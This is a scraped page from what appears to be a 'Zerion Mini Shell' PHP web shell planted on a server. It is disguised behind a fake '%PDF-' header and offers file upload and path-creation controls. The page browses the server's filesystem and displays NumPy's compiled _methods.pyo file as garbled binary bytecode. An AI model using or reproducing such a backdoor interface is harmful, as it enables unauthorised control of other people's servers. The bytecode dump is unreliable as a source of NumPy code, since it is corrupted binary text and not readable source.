%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyo

�
�9Zc@`s�dZddlmZmZmZddlZddlmZddlm	Z
ddlmZddlm
Ze
jjZe
jjZe
jjZe
jjZe
jjZe
jjZdded�Zdded	�Zddded
�Z ddded�Z!ddded�Z"ddded
�Z#d�Z$ddded�Z%dddded�Z&dddded�Z'dS(sx
Array methods which are called by both the C-code for the method
and the Python code for the NumPy-namespace function

i(tdivisiontabsolute_importtprint_functionN(t
multiarray(tumath(t
asanyarray(tnumerictypescC`st||d||�S(N(tumr_maximumtNone(tataxistouttkeepdims((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_amaxscC`st||d||�S(N(tumr_minimumR(R	R
RR((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_aminscC`st|||||�S(N(tumr_sum(R	R
tdtypeRR((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_sumscC`st|||||�S(N(tumr_prod(R	R
RRR((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_prod"scC`st|||||�S(N(tumr_any(R	R
RRR((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_any%scC`st|||||�S(N(tumr_all(R	R
RRR((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_all(scC`sk|dkr$tt|j��}nt|t�s?|f}nd}x|D]}||j|9}qLW|S(Ni(Rttupletrangetndimt
isinstancetshape(tarrR
titemstax((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_count_reduce_items+s
c	C`st|�}t||�}|dkr:tjdt�n|dkryt|jjt	j
t	jf�rytjd�}nt
|||||�}t|tj�r�tj||d|dddt�}n2t|d�r�|jj||�}n
||}|S(	NisMean of empty slice.tf8RtcastingtunsafetsubokR(RR!twarningstwarntRuntimeWarningRt
issubclassRttypetnttintegertbool_tmuRRtndarraytumttrue_dividetFalsethasattr(R	R
RRRRtrcounttret((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_mean5s-!
c	C`s�t|�}t||�}||kr:tjdt�n|dkryt|jjt	j
t	jf�rytjd�}nt
|||dt�}t|tj�r�tj||d|dddt�}n|jj||�}t||�}	t|jjt	j�r/tj|	tj|	�d|	�j}	ntj|	|	d|	�}	t
|	||||�}
t||dg�}t|
tj�r�tj|
|d|
dddt�}
n2t|
d	�r�|
jj|
|�}
n
|
|}
|
S(
Ns!Degrees of freedom <= 0 for sliceR"RRR#R$R%iR(RR!R&R'R(RR)RR*R+R,R-R.RtTrueRR/R0R1R2tcomplexfloatingtmultiplyt	conjugatetrealtmaxR3(R	R
RRtddofRRR4tarrmeantxR5((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_varLs0-!'!
cC`s�t|d|d|d|d|d|�}t|tj�rTtj|d|�}n<t|d�r�|jjtj|��}ntj|�}|S(NR
RRR=R(	R@RR.R/R0tsqrtR3RR*(R	R
RRR=RR5((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt_stdzs!	((t__doc__t
__future__RRRR&t
numpy.coreRR.RR0tnumpy.core.numericRRR+tmaximumtreduceRtminimumRtaddRR9Rt
logical_orRtlogical_andRRR2R
RRRRRR!R6R@RB(((sF/opt/alt/python27/lib64/python2.7/site-packages/numpy/core/_methods.pyt<module>s,	
.

Zerion Mini Shell 1.0